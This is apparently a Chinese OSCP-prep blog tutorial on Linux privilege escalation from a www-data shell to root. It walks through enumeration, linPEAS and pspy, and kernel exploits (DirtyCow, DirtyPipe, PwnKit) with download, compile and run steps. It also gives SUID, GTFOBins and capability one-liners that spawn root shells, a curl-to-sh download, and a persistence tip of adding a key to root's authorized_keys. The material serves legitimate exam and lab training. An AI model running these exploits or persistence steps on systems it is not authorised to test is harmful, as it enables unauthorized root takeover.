当前位置:首页>Linux>OSCP百日备考16|Linux权限提升(上):信息收集到内核漏洞,从www-data到root的第一步

OSCP百日备考16|Linux权限提升(上):信息收集到内核漏洞,从www-data到root的第一步

  • 2026-06-27 19:55:26
OSCP百日备考16|Linux权限提升(上):信息收集到内核漏洞,从www-data到root的第一步

上期我们把缓冲区溢出的底层原理讲明白了,好多同学后台说:"学长,第一次搞懂了栈是怎么被覆盖的,也知道shellcode咋跑起来的了。"紧跟着就有人问了:"拿到低权限shell之后到底该怎么提权?考试里拿到www-data还要做什么?""每次看linPEAS跑出来一大堆红黄标记,到底哪些要重点看?""DirtyCow、DirtyPipe、PwnKit这些内核漏洞都是什么,到底该用哪个?"

问得好。说实话,权限提升是OSCP考试里最容易丢分、也最容易翻盘的环节。很多人在边界打点花了大把时间,千辛万苦拿了个www-data的shell,结果提权的时候卡住了——linPEAS跑了不知道怎么看,SUID文件找到了不知道怎么利用,内核漏洞随便下了一个直接把靶机干崩了,重启之后环境全变,前面所有进度归零。

我自己当年备考的时候,就在一台Ubuntu靶机上卡了整整四个小时。linPEAS扫出来一条有用的线索(SUID的find命令),但我当时不知道GTFOBins这个网站,盯着屏幕翻了半天Google,最后才发现只需要一行命令就能拿到root。那个后悔啊,不是学不会,是不知道往哪个方向找。

今天这篇,不讲虚的理论,只讲从低权限shell到root的完整方法论。信息收集的每一条命令、内核漏洞的选择逻辑、SUID/SGID的精确利用手法,全给你拆解得明明白白。所有命令都可以直接复制到靶场里用。

⚠️ 这篇文章只讲Linux提权,Windows提权留到下下期。

一、先划生死线:考试能用什么?

每次开篇都要强调,提权环节的规则尤其重要——因为很多同学在这里最容易踩线:

工具/方法
考试状态
说明
手工信息收集(find/grep/cat等)
✅ 完全允许
本篇核心,必须熟练掌握
自写Python/Bash脚本
✅ 完全允许
信息收集自动化脚本可用
LinPEAS / LinEnum
✅ 完全允许
自动化枚举工具,考试神队友
linux-exploit-suggester
✅ 完全允许
根据内核版本推荐漏洞
pspy / pspy64
✅ 完全允许
无root权限监控进程
GTFOBins
✅ 完全允许(网站查询)
SUID/Sudo二进制的利用方法库
exploit-db上的exp
✅ 允许(需理解原理)
内核漏洞exp可用但要修改适配
Metasploit
⚠️ 限一台靶机
提权模块也只能在这一台用
商业扫描器(Nessus等)
❌ 明确禁止
绝对不能碰

一条关键原则:考试里提权可以用自动化枚举工具(linPEAS是合规的),但漏洞利用必须手工完成。 你可以用linPEAS发现线索,用GTFOBins查利用方法,但不能用全自动提权工具一键root。

二、提权的本质:管理员一定犯过错,你的任务是找到它

很多新手觉得提权很玄学——"别人一跑linPEAS就能定位到突破口,我跑了啥也看不出来。"其实提权的本质就一句话:系统管理员在配置里留了一个你可以钻的空子。

漏洞类型
一句话本质
实战出现频率
内核漏洞
系统没打补丁,老版本内核有已知漏洞
⭐⭐⭐⭐⭐
SUID/SGID
管理员给某个程序设了SUID,这个程序恰好能拿shell
⭐⭐⭐⭐⭐
Sudo配置不当
管理员允许你用sudo执行某条命令,这条命令恰好能逃逸
⭐⭐⭐⭐
Cron定时任务
root的定时任务调用了你可写的脚本
⭐⭐⭐
密码泄露
配置文件、历史命令、备份文件里有明文密码
⭐⭐⭐⭐
NFS配置错误
NFS开了no_root_squash
⭐⭐
通配符注入
定时任务里的tar/rsync用了*通配符
⭐⭐⭐

OSCP考试里,排前三的提权路径是:内核漏洞 ≈ SUID/SGID > Sudo配置不当。 掌握这三个,考试里80%的Linux靶机都能拿下。

三、提权第一步:信息收集——你不会找,线索就在你眼前你也看不见

拿到了www-data的shell,别急着下exp。先花5分钟收集系统信息,这些信息是后面所有操作的决策依据。

3.1 系统基础信息——先搞清楚你在哪台机器上

# ===== 系统版本和内核(决定用哪个内核漏洞)=====
uname -a                # 一句话看清内核版本、架构、系统名
cat /etc/issue          # 发行版名称和版本
cat /etc/*-release      # 更详细的发行版信息
cat /proc/version       # 内核编译信息,能看到GCC版本
uname -r                # 只看内核版本号

# ===== 环境变量(可能泄露敏感路径和配置)=====
env                     # 环境变量全部打印,PATH、HOME、LANG都可能有用

# ===== 架构信息(决定exp和pspy用32位还是64位)=====
arch                    # 输出x86_64或i686,别下错了exp的架构

为什么这一步特别重要? 内核版本直接决定你用哪个exp。看到3.13开头的,脑子里该蹦出DirtyCow;看到5.85.16之间的,DirtyPipe就是优先选项;看到Polkit版本相关的,PwnKit大概率能打。

3.2 当前权限——你处在什么位置

whoami                  # 当前用户名
id                      # uid、gid、所属组,关注有没有docker/lxd/sudo组
sudo -l                 # 【提权第一优先级命令】看你能sudo什么命令

sudo -l是提权环节里性价比最高的命令,没有之一。 如果它不需要密码就能跑,而且输出里出现了不常见的可sudo命令——恭喜你,这可能是最省力的提权入口。

3.3 找可写目录和文件

# ===== 找全局可写目录(传文件、编译exp用)=====
find / -writable -type d 2>/dev/null
# 重点关注 /tmp, /dev/shm, /var/tmp

# ===== 找可写文件(看有没有权限修改关键配置)=====
find / -writable -type f -not -path "/proc/*" 2>/dev/null

3.4 网络信息——有没有只监听在内网的服务

ifconfig -a             # 或者 ip a
route -n                # 或者 ip route
netstat -tuln           # 看监听的端口,重点找127.0.0.1的服务
ss -tuln                # 新系统推荐用ss替代netstat
arp -a                  # ARP表,看内网还有哪些机器
iptables -L             # 看防火墙规则(需要root,低权限一般看不了但试试不亏)

如果发现只在127.0.0.1上监听的端口(比如内网MySQL、Redis、Jenkins),这些都是提权和横向移动的潜在入口。 你可以用chisel或ligolo-ng做端口转发把它们暴露出来。

3.5 自动化工具——省时间的灵魂,但要会看结果

手工命令敲完一轮之后,上自动化工具做深度扫描。OSCP考试里这些工具完全合规:

① linPEAS——提权枚举界的王者

# 下载并运行(考试里可以从攻击机传过去)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 或者下载到本地再传到靶机
./linpeas.sh > /tmp/linpeas_output.txt

linPEAS会用颜色标记:红色=95%以上可利用,黄色=可能可利用但需要条件,绿色=防御相关信息。拿到输出之后优先看红色的部分——这些通常是作者有极高信心的提权向量。

② linux-exploit-suggester——根据内核版本推荐exp

./linux-exploit-suggester.sh

# 或者用升级版 les.sh
./linux-exploit-suggester-2.pl -k $(uname -r)

输出示例:

[+] CVE-2016-5195 (DirtyCow) - 极高成功率,稳定
[+] CVE-2022-0847 (DirtyPipe) - 针对内核5.8-5.16
[+] CVE-2021-4034 (PwnKit)    - 针对polkit组件

③ pspy64——无root权限监控所有进程

这个工具在提权里经常被忽略,但OSCP考试里它有时候能救命:

# 下载pspy64到靶机/tmp目录
chmod +x pspy64
./pspy64
# 默认每100ms扫描一次所有进程,持续输出
# Ctrl+C 停止

pspy64的妙用: 如果你怀疑有root的cron任务在跑,但crontab -l看不到(因为权限不够),pspy64能帮你看到root进程的完整命令行。比如你发现每分钟有个root身份的脚本在执行某个路径下的文件,去检查那个文件是不是你可写的——如果是,恭喜你,提权成功。

四、内核漏洞利用:速度快,但选错了会翻车

内核漏洞提权是最直接的方式——找到一个匹配内核版本的exp,编译运行,直接拿到root。但也是风险最高的——选错了exp轻则提权失败,重则靶机崩溃。

4.1 漏洞选择的三条铁律

❶ 先看内核版本,再看发行版。uname -a输出内核版本后,用searchsploit或google搜索这个版本。很多exp是针对特定发行版的(比如只测过Ubuntu 14.04),拿CentOS上去跑可能失败。

❷ 优先选社区公认稳定的exp。 不要看到一个POC就往上怼。去exploit-db看exp的热度和评论,优先选下载量高、评论区有人反馈成功的版本。

❸ 编译前看一遍代码。 至少看懂exp是干什么的、有没有反编译选项、需不需要传参数。很多新手直接把C代码拷进去编译运行,结果exp里的gcc路径写的是绝对路径/usr/bin/gcc,而靶机上根本没有GCC——这种低级错误浪费了太多时间。

4.2 考试和实战里最常见的五个内核漏洞

漏洞名称/CVE
影响内核版本
一句话原理
稳定性
OSCP/实战
DirtyCow
 (CVE-2016-5195)
2.6.22 ~ 4.8.3
利用内存竞态条件写只读文件
⭐⭐⭐⭐⭐ 极其稳定
考试和实战都是经典
DirtyPipe
 (CVE-2022-0847)
5.8 ~ 5.16.11
管道缓冲区未正确标记,允许覆写只读文件
⭐⭐⭐⭐⭐ 极其稳定
实战高频,考试靶机如用新版内核必试
PwnKit
 (CVE-2021-4034)
polkit版本 < 0.120(几乎所有主流发行版)
pkexec参数处理缺陷导致本地提权
⭐⭐⭐⭐⭐ 极其稳定
实战和考试都是首选,适用面极广
OverlayFS
 (CVE-2015-1328)
3.13.0 ~ 3.19.0
OverlayFS文件系统的权限检查缺陷
⭐⭐⭐ 中等
考试中遇到老Ubuntu常见
PTRACE_TRACEME
 (CVE-2019-13272)
< 5.1.17
ptrace系统调用中的竞态条件
⭐⭐⭐ 中等
针对特定版本

4.3 DirtyCow实战利用——内核漏洞的最佳入门

DirtyCow(脏牛)是Linux提权历史上最著名的漏洞之一,影响范围极广,而且exp极其稳定,几乎没有翻车的风险。如果你第一次学内核漏洞提权,从这个开始:

# 第一步:确认内核版本在漏洞范围内
uname -a
# 输出类似:Linux ubuntu 3.13.0-24-generic ... 
# → 3.13.0在2.6.22~4.8.3范围内,可以打

# 第二步:从exploit-db下载exp
searchsploit -m 40839
# 或者直接在攻击机上找:/usr/share/exploitdb/exploits/linux/local/

# 第三步:上传到靶机并编译
# 在靶机的/tmp目录下
gcc -pthread dirty.c -o dirty -lcrypt
# -pthread: 因为DirtyCow用了多线程竞态
# -lcrypt: 因为exp里会调用crypt()函数生成密码哈希

# 第四步:运行
./dirty mynewpassword
# 如果成功,系统会新增一个root权限的用户firefart(不同exp的用户名可能不同)
# 密码就是你指定的mynewpassword

# 第五步:切换到root
su firefart
# 输入密码 mynewpassword
# 看到 # 提示符,提权成功!

4.4 DirtyPipe实战——2022年最大的Linux提权漏洞

DirtyPipe的发现晚于DirtyCow,但影响的是更新的内核版本。它的核心原理是管道(pipe)的内核实现中,缓冲区页标记为PIPE_BUF_FLAG_CAN_MERGE但没有正确清除,导致攻击者可以向只读文件写入任意数据:

# 适用版本:Linux kernel 5.8 ~ 5.16.11

# 第一步:确认内核版本
uname -r
# 如果输出 5.13.0-xxx 等版本,在范围内

# 第二步:下载exp
# 推荐使用下面这个广受验证的版本
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
# 或者 searchsploit -m linux/local/50808.c

# 第三步:编译
gcc -o dirtypipe dirtypipe.c

# 第四步:运行
./dirtypipe /etc/passwd 1  # 选项1:修改/etc/passwd,添加一个新root用户
# 或者
./dirtypipe /usr/bin/su    # 修改/bin/su,使其无条件提权

⚠️ DirtyPipe的利用方式比较灵活,不同的exp实现的效果不同——有的会覆盖/etc/passwd添加新用户,有的会修改/bin/su使其无需密码就能提权。考试里拿到exp之后先读README,搞清楚它具体干什么再运行。

4.5 PwnKit——适用面最广的内核提权漏洞

PwnKit(CVE-2021-4034)是我个人在OSCP实战里见过最多、成功率最高的提权漏洞之一。它的核心问题是pkexec(PolKit的一个SUID工具)在解析命令行参数时存在越界写,导致环境变量注入,最终实现本地提权。

为什么PwnKit这么好用? 因为PolKit(也就是pkexec)几乎在所有主流Linux发行版上都预装,而且这个漏洞不需要复杂的堆喷/竞态条件,一个单线程的C程序就能稳定利用。考试里遇到虚拟机模板比较新的靶机,DirtyCow打不了的话,PwnKit往往能顶上。

# 第一步:检查pkexec是否存在且为SUID
which pkexec
ls -la /usr/bin/pkexec
# 如果存在且有SUID位(-rwsr-xr-x),大概率存在漏洞

# 第二步:下载exp
git clone https://github.com/berdav/CVE-2021-4034.git
# 或者 searchsploit -m linux/local/50689.c

# 第三步:编译
cd CVE-2021-4034
make

# 第四步:运行
./cve-2021-4034
# 如果成功,直接拿到root shell
whoami
# 输出:root

4.6 内核漏洞提权的三个防翻车技巧

❶ 编译exp之前,先检查靶机有没有GCC。 很多靶机为了增加难度,故意不装编译工具。这时候你有两个选择:在本地相同版本的虚拟机上编译好静态链接版本再传过去(gcc -static),或者换一个用Python/Bash写的exp。

❷ 提权前备份关键文件。 如果exp的行为是修改/etc/passwd/etc/shadow,先备份:

cp /etc/passwd /tmp/passwd.bak
cp /etc/shadow /tmp/shadow.bak

❸ 内核漏洞是"最后的手段",不是第一选择。 linPEAS跑完之后,先看有没有更温和的提权方式(SUID、sudo、cron)。内核exp一旦出错,靶机可能直接崩溃——考试里靶机崩了,你可能要发邮件给监考申请重启,这浪费的是你宝贵的24小时考试时间。

五、SUID/SGID文件利用——比内核漏洞更优雅的提权方式

SUID(Set User ID)是Linux的一个特殊权限位。当文件设置了SUID位后,任何用户执行这个文件时,都会以文件所有者的身份运行。如果文件所有者是root,那普通用户执行它的时候,实际上就是root在执行。

这就是SUID提权的核心逻辑——找到一个root所有的SUID二进制,而这个二进制恰好可以通过某种方式执行额外的命令。

5.1 找到系统里的SUID文件

# 精确定位SUID文件的命令
find / -perm -u=s -type f 2>/dev/null

# 同时找SUID和SGID
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

# 只看不常见的(排除系统自带的基础程序)
find / -perm -u=s -type f 2>/dev/null | grep -v -E "ping|su|mount|umount|passwd|chsh|chfn|newgrp|gpasswd|pkexec|sudo"

输出里你应该重点关注的是这一类文件: 不是系统基础组件(排除passwd、sudo、ping等)、文件路径不常见(比如在/opt/home下)、所有者是root且有SUID位。

5.2 GTFOBins——SUID提权的"万能钥匙"

找到了一个不常见的SUID二进制之后怎么办?不是去Google搜"xxx suid exploit",而是直接打开 GTFOBins(https://gtfobins.github.io) 。这个网站收录了几乎所有可以被滥用的Unix二进制文件,点进去就能看到SUID利用的精确命令。

考试里最常见的十个SUID提权二进制:

二进制
利用命令
一句话说明
findfind . -exec /bin/sh -p \; -quit
用-exec参数执行任意命令
vimvim -c ':!/bin/sh'
vim的-c参数可以执行外部命令
nmap
(旧版)
nmap --interactive
 然后输入 !sh
旧版nmap有交互模式
bashbash -p
-p参数保留SUID权限
less
/more
less /etc/passwd
 然后输入 !/bin/sh
分页器内可以执行shell命令
pythonpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Python直接调系统调用
perlperl -e 'exec "/bin/sh";'
同理
cp
cp覆盖/etc/passwd或/etc/shadow
文件替换提权
awkawk 'BEGIN {system("/bin/sh")}'
awk调用system函数
systemctl
创建一个恶意service文件加载执行
systemd的提权链

🔥 核心网站:GTFOBins(https://gtfobins.github.io/)不只是SUID,还包括sudo限制绕过、文件上传、下载、端口转发等场景。考试中如果发现任何一个你能以非正常途径执行的二进制,先去GTFOBins查——90%的情况它的页面里就有现成的利用命令。

5.3 Linux Capabilities——SUID的"现代版"

大多数新文章不会告诉你的是:**从Linux内核2.2开始,权限体系已经从"全职root"逐渐过渡到了"细粒度Capabilities"**。传统SUID的问题是过于粗糙——一旦给了SUID,整个程序就拥有了root的全部权限。而Capabilities允许系统只给程序某个特定能力,比如只给python一个cap_setuid能力(允许修改UID),但不给其他root权限。

检查Capabilities的命令:

getcap -r / 2>/dev/null

输出示例和对应的利用:

# 如果看到这个——恭喜你,这是最直接的提权:
/usr/bin/python3.8 cap_setuid=ep
# 利用:python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 如果看到ping(允许发原始网络包):
/usr/bin/ping cap_net_raw=ep
# 利用:可以发任意网络包,做DoS攻击

# 如果看到tcpdump(允许抓包):
/usr/sbin/tcpdump cap_net_raw=ep
# 利用:可以嗅探内网流量,抓取明文密码

Capabilities在考试里的地位: 出现频率不如传统SUID高,但一旦出现就是送分题——比SUID更好利用,因为只给了一个具体的capability,对应的利用路径非常明确。

六、考试/实战区别:什么在学校靶机能用,什么在生产环境也能用

很多同学不清楚有些技术到底是"考试专用"还是"实战通用",这里给大家说清楚:

技术
OSCP考试
实战渗透
说明
内核漏洞(DirtyCow/PwnKit等)
⭐⭐⭐⭐⭐ 高频
⚠️ 谨慎
实战中内核漏洞可能导致生产系统崩溃,且打了补丁就无效
SUID滥用
⭐⭐⭐⭐⭐ 高频
⭐⭐⭐⭐ 常见
考试和实战都很常见,且利用温和不会崩系统
Sudo配置不当
⭐⭐⭐⭐ 高频
⭐⭐⭐⭐⭐ 最常见
实战中比考试更常见——运维经常配sudo但忘了限制
Cron任务劫持
⭐⭐⭐ 中等
⭐⭐⭐⭐ 常见
实战中更容易遇到,尤其是开发环境
linPEAS
⭐⭐⭐⭐⭐ 必用
⭐⭐⭐⭐⭐ 必用
考试和实战都推荐用它做快速扫描
密码/密钥泄露
⭐⭐⭐⭐ 高频
⭐⭐⭐⭐ 常见
考试靶机的配置文件里经常有硬编码密码
NFS no_root_squash
⭐⭐ 低频
⭐⭐⭐ 中等
企业内网NAS环境可能遇到
Docker组滥用
⭐⭐ 低频
⭐⭐⭐⭐ 常见
生产环境中docker组权限是常见配置错误

一句话总结:考试先试SUID和sudo,温和不伤系统;实战多关注配置错误和密码泄露,不要随便跑内核exp。

七、避坑指南

❶ linPEAS跑完之后先看红色的部分。 红色是95%以上确定可用的提权向量,优先处理。黄色部分需要额外条件(比如需要用户交互、需要特定文件存在),等红色都排查完了再看。

❷ 内核exp不是第一选择。 很多人拿到shell第一件事就是uname -a然后找exp——方向没错,但顺序错了。先检查sudo -l、先找SUID文件、先看cron任务。这些是"温和"的提权方式,不会把靶机搞崩。

❸ 编译exp之前确认目标架构。 用arch命令确认是x86_64还是arm64还是i686。32位的exp在64位系统上不一定能跑,反之亦然。如果有GCC,直接在靶机上编译是最稳妥的。

❹ 拿到root之后别急着找flag。 先截图、先做权限维持(往/root/.ssh/authorized_keys里加自己的公钥),防止靶机突然出问题又要重新打。

❺ pspy64在考试里比你想象的有用。 有时候你翻遍了系统也找不到提权路径,放下pspy64等五分钟,可能会发现root身份在定时执行某个脚本——去检查脚本是否可写、是否用了相对路径。这一招帮我拿下了至少两台考试靶机。

❻ GTFOBins是提权的超级武器库。 任何你能sudo的二进制、任何有SUID的二进制,都可以去GTFOBins查。不需要背每个命令怎么利用,但需要养成"看到异常二进制→打开GTFOBins"的条件反射。

写在最后

这篇讲的是Linux提权的"基础武器库"——信息收集、自动化工具、内核漏洞、SUID/Capabilities。这些是你从www-dataroot的第一套工具。

下一篇我们继续深挖Linux提权的进阶手法:sudo配置滥用(LD_PRELOAD注入、环境变量劫持)、Cron任务劫持、通配符注入、NFS提权、密码凭证狩猎、Docker/LXD组权限滥用——全部都是我在上百台靶机里验证过的实战手法。

如果觉得这篇对你有用,点个"在看"并星标我,别错过下期。

评论区可以留言你在提权上踩过的坑——比如有没有因为选错内核exp把靶机干崩的惨痛经历,我当年崩过三台,说出来让大家开心一下。

我们下期见!

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-03 00:58:47 HTTP/2.0 GET : https://f.mffb.com.cn/a/500361.html
  2. 运行时间 : 0.530173s [ 吞吐率:1.89req/s ] 内存消耗:4,835.48kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=668b0f99b875f01ea0f6938b61ce0c64
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
